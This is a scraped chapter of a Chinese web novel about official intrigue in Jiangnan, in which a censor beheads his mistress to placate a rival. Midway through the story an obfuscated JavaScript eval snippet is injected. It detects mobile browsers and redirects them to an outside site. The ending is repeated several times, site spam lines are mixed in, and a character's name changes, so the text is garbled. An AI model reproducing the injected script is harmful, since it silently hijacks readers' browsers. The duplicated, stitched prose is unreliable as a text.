心腹管家抬起头,暗淡光线下,映照出凝重的脸色:“大人让小的给您带句话。” “大人说,伪造部印之事,已经惊动了转运司和银监司。此事,已非钱财可以了结。” “大人还说,他会照顾好夫人和少爷小姐,视如己出。” “您安心上路,主动去官府认罪,还能留个体面.” 周炳脑子嗡的一声,炸开了。 安心上路? 留个体面? 松开手,踉跄着后退了两步,一股滔天的愤怒和怨毒,瞬间冲上脑门。 这些年,自己赚的钱,大半都进了这个门! 逢年过节,哪一次送来的礼不是堆积如山? 为了给姐夫铺路,他花了多少银子去京城打点? 现在,大难临头,一句“安心上路”,就把自己当成垃圾一样扔掉了? 凭什么! 把自己当什么了? 一条养肥了随时可以宰掉的狗吗? 愤怒过后,只剩下绝望。 周炳瘫倒在阶梯上,忽然又笑了。 笑自己天真。 官场是什么地方? 是**不吐骨头的修罗场。 到了这个地步姐夫不落井下石肯保住自己的家眷已经是仁至义尽了。 换做是自己恐怕也会做同样的选择。 又能如何呢? 认罪? 他犯的可是伪造部印的谋逆大罪! 主动认罪也逃不过一个“斩”字! 死路一条。 周炳整个人像是被抽走了魂。 夜风吹过打了个冷战脑中纷乱的思绪却在这一刻清明了不少。 官府要他死。 姐夫要他死。 所有人都觉得他死定了。 自己真的没有活路了吗? 卢璘。 对!卢璘! 整件事都是卢璘一手策划的。 从粮引到交易监再到那一环扣一环的规则。 秦有德和康承民不过是卢璘手中的刀。 解铃还须系铃人! 官府要的是功绩要的是一个拨乱反正的由头所以必须要把自己钉死在奸商的耻辱柱上。 卢璘呢? 他要的是什么? 是钱? 是名? 还是彻底掌控江南的粮食市场? 无论他要什么只要是人就一定有价码! 自己手里还有齐老拐他们不知道的最隐秘的一批资产! 那是自己准备用来安身立命的最后本钱! 只要卢璘肯放自己一条生路他什么都愿意给! 这个念头一生出来 死中求活! 这是自己最后的机会! 想到这里周炳猛地从地上爬起来冲到马车前一把拉开车门低声吼道: “掉头!” “去城东!去江南道都漕交易监!” 时间拉回一个时辰之前。 临安府城北。 不同于城南的喧嚣与城东的繁华这里是达官显贵们真正的府邸所在。 吴府便坐落于此。 牌匾上没有官阶只书一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453252|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个吴字。 但临安府稍有见识的人都知道这里住着的是御史台派驻江南道的监察御史吴大人。 监察院虽在临安,实属京城直辖。 内院,一间雅致的暖阁内。 苏十三娘斜倚在一个身着素色锦袍的中年男人怀里,脸色娇媚,没有半点之前担惊受怕的样子。 “吴郎,这次多亏你了。若不是你,十三娘这会真不知道该怎么办了。” 苏十三娘心有余悸,往日里勾魂夺魄的媚眼,此刻也只剩下惹人怜惜的柔弱。 原本,在齐老拐叛变之后,苏十三娘第一个念头也是花钱消灾,学着齐老拐的样子,去找卢璘投诚。 可她还没来得及行动,事态便急转直下。 银监司疯了一样地查抄钱庄,周炳伪造部印的大案更是炸得她魂飞魄散。 到了这一步,苏十三年已经彻底明白,这已经不是花钱就能了结的事情了。 卢璘要的不是钱,是他们的命啊! 幸好,幸好自己还有吴郎。 周炳姐夫是临安知府,听着威风,终究只是个地方官。 常万金的叔父是都指挥使,手握兵权,却也只在江南道这一亩三分地上管用。 可吴郎不一样。 他是京官,是御史! 是能将折子直递御前的天子近臣! 这才是她苏十三娘,最大的底牌。 监察御史吴承嗣生得一副好皮囊,面如冠玉,举止儒雅,丝毫没有官场上的戾气。 轻轻拍着苏十三娘的香肩,柔声安抚:“放心吧,多大点事。” “一个初出茅庐的案首,就算得了些许时运,还能翻了天不成?” “我与他恩师沈大学士有过几面之雅,修书一封,沈大学士自然会敲打一下自己的学生” 听到沈大学士四个字,苏十三娘一直悬着的心,终于落回了实处。 卢璘再怎么不给面子,自己恩师的话总不能不听吧? 想到这里,苏十三娘仰起头,主动献上香吻。 “吴郎,你真好。” 暖阁内的气氛,瞬间变得旖旎起来。 第203章 体面了一辈子! 一番腻歪过后吴承嗣轻轻推开怀中的玉人。 “你先去后院歇着我还有些公务要处理。” “嗯。” 苏十三娘乖巧地点了点头整理好衣衫莲步轻移朝着后院的客房走去。 看着苏十三娘摇曳的背影消失门外吴承嗣脸上的温情瞬间消失。 “来人。” 话音刚落一个黑影无声无息地出现在吴承嗣身后。 “看住她。” “没有我的允许不准她离开吴府半步不准她与任何人接触。” “是。”黑影应了一声再次消失。 暖阁内只剩下吴承嗣一人。 沈大学士? 真是天真。 哪怕这个时候沈春芳亲自出面也救不了任何人。 从朝堂上得到的消息江南道都漕交易监每日产生的巨额市税绕开了层层盘剥直接充入国库。 已经被朝堂诸公一致通过即将推行大夏各府。 他吴承嗣吃了熊心豹子胆敢在这个时候为了一个女人 简直是自寻死路! 现在要考虑的根本不是如何去救谁。 而是如何才能将自己干干净净地摘出去! 甚至 如何利用这个女人去向卢总办卖一个好价钱。 一个时辰后 周炳的马车在江南道都漕交易监门前堪堪停稳。 下了马车的周炳抬头望着交易监的牌匾喉咙发干最后的一丝希望全系于此。 可还没等周炳迈上台阶愣在了原地。 只见交易监门前的空地上一道熟悉又狼狈的身影跪在那里。 不是别人正是苏十三娘。 往日里长袖善舞媚眼如丝的广源泰大当家此刻发髻散乱华贵的衣衫上沾满了尘土整个人缩成一团瑟瑟发抖。 身后站着两名按着腰刀的护卫神情冷漠。 周炳还没来得及想明白这是怎么回事街角处一队人马疾驰而来。 为首一人正是监察御史吴承嗣也是苏十三娘背后的人。 周炳的心猛地一沉。 吴承嗣翻身下马看都没看 跪在地上的苏十三娘一眼,径直朝着交易监大门走去。 周炳看到这一幕,暗自摇头,只觉得莫名感伤,有种物伤其类的味道。 苏十三娘比自己还惨。 至少,姐夫还念着几分情面,答应保全他的家眷。 而看吴承嗣这架势,是怕被苏十三娘牵连,要把这颗弃子推出来平息卢璘的怒火啊。 周炳惨然一笑,刚想让管家上前通报,交易监大门,从里面打开了。 从交易监内走出的张聪对着吴启年拱了拱手,态度不卑不亢。 “吴大人,我们总办请您回吧。 吴承嗣是地方监察御史,是京官,是临安府跺跺脚就能发成声音的人物。 张聪平日里连见对方的机会都没有,可现在居然能够平等视之。 尤其是张聪一想到社首卢璘,心中更是没有半分畏惧。 “我们总办说,国有国法,市有市规。交易监按规矩办事. 话虽然说得客气,但意思却再明白不过。 国有国法,是说官府查案,谁都无权干涉。 家有家规,是说这是你自己的家事,交易监也懒得插手。 看似谁的面子都没给,实则已经把态度摆得明明白白。 要么,你吴承嗣就跟苏十三娘一起,被秦有德查出来的烂账拖下水,身败名裂。 要么,你就自己清理门户。 吴承嗣当然听懂了,默默点头,而后转身,朝身后挥手。 一名护卫立刻从腰间解下佩刀,双手奉上。 吴承嗣接过刀。 雪亮的刀光在火把的映照下,晃得人睁不开眼。 跪在地上的苏十三娘似乎察觉到了什么,猛地抬起头,脸上写满了难以置信。 “吴郎. 吴承嗣没有理会,手起,刀落。 一颗头颅滚落在地,血溅了一地。 不远处的周炳看到这一幕,整个人都僵住了,呆呆地看着苏十三娘的尸身倒在血泊中,浑身不受控制地颤抖。 狠。 太狠了! 吴承嗣面无表情地将刀递还给护卫,从怀中掏出一方手帕,仔仔细细地擦拭着溅到的血迹,然后才重新转向张聪,声音平静: “广 源泰名下所有米铺、田契、银两明日一早便会有人封存造册送交贵处。” “不知如此可能给卢总办一个交代?” 说完他一挥手。 “清理干净。” 几名护卫立刻上前用麻袋将苏十三娘的尸身和头颅装起又提来水桶将地上的血迹冲刷得一干二净。 吴承嗣带着人提着那血淋淋的麻袋转身离去自始至终没有看周炳一眼。 周炳站在原地任由夜风吹透自己的衣衫。 同时也彻底绝了让管家通报的心思。 苏十三娘被吴承嗣活生生枭首在面前那股视觉冲击让周炳想明白了一切。 卢璘是真的成了气候。 甚至都不需要亲自露面。 仅仅是几句传话就让吴承嗣这等天子近臣投鼠忌器亲手斩断自己的臂膀献上人头以求自保。 手握江南道都漕交易监这个大杀器如今的卢璘 谈判? 求饶? 自己手里那点所谓的最后本钱在这样的雷霆手段面前简直就是一个笑话。 周炳望着交易监大门长长地叹了一口气。 许久他才转过身对着身后早已吓得面无人色的管家有气无力地挥了挥手。 “回府吧。” 马车缓缓启动周炳靠在车厢里闭上了眼睛。 “去知会厨房备一只烧鸡。” 管家一愣这是老爷平日里最喜欢的菜色。 “再温一壶上好的女儿红。” “体面了一辈子总得坚持这最后一哆嗦。” 听到这里管家的心沉到了谷底。 你的朋友正在书荒,快去帮帮他吧 源泰名下所有米铺、田契、银两,明日一早,便会有人封存造册,送交贵处。 “不知如此,可能给卢总办一个交代? 说完,他一挥手。 “清理干净。 几名护卫立刻上前,用麻袋将苏十三娘的尸身和头颅装起,又提来水桶,将地上的血迹冲刷得一干二净。 吴承嗣带着人,提着那血淋淋的麻袋,转身离去,自始至终,没有看周炳一眼。 周炳站在原地,任由夜风吹透自己的衣衫。 同时也彻底绝了让管家通报的心思。 苏十三娘被吴承嗣活生生枭首在面前,那股视觉冲击,让周炳想明白了一切。 卢璘是真的成了气候。 甚至都不需要亲自露面。 仅仅是几句传话,就让吴承嗣这等天子近臣投鼠忌器,亲手斩断自己的臂膀,献上人头以求自保。 手握江南道都漕交易监这个大杀器,如今的卢璘,谁敢不卖他面子? 谈判? 求饶? 自己手里那点所谓的最后本钱,在这样的雷霆手段面前,简直就是一个笑话。 周炳望着交易监大门,长长地叹了一口气。 许久,他才转过身,对着身后早已吓得面无人色的管家,有气无力地挥了挥手。 “回府吧。 马车缓缓启动,周炳靠在车厢里,闭上了眼睛。 “去知会厨房,备一只烧鸡。 管家一愣,这是老爷平日里最喜欢的菜色。 “再温一壶上好的女儿红。 “体面了一辈子,总得坚持这最后一哆嗦。 听到这里,管家的心沉到了谷底。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 源泰名下所有米铺、田契、银两,明日一早,便会有人封存造册,送交贵处。” “不知如此,可能给卢总办一个交代?” 说完,他一挥手。 “清理干净。” 几名护卫立刻上前,用麻袋将苏十三娘的尸身和头颅装起,又提来水桶,将地上的血迹冲刷得一干二净。 吴承嗣带着人,提着那血淋淋的麻袋,转身离去,自始至终,没有看周炳一眼。 周炳站在原地,任由夜风吹透自己的衣衫。 同时也彻底绝了让管家通报的心思。 苏十三娘被吴承嗣活生生枭首在面前,那股视觉冲击,让周炳想明白了一切。 卢璘是真的成了气候。 甚至都不需要亲自露面。 仅仅是几句传话,就让吴承嗣这等天子近臣投鼠忌器,亲手斩断自己的臂膀,献上人头以求自保。 手握江南道都漕交易监这个大杀器,如今的卢璘,谁敢不卖他面子? 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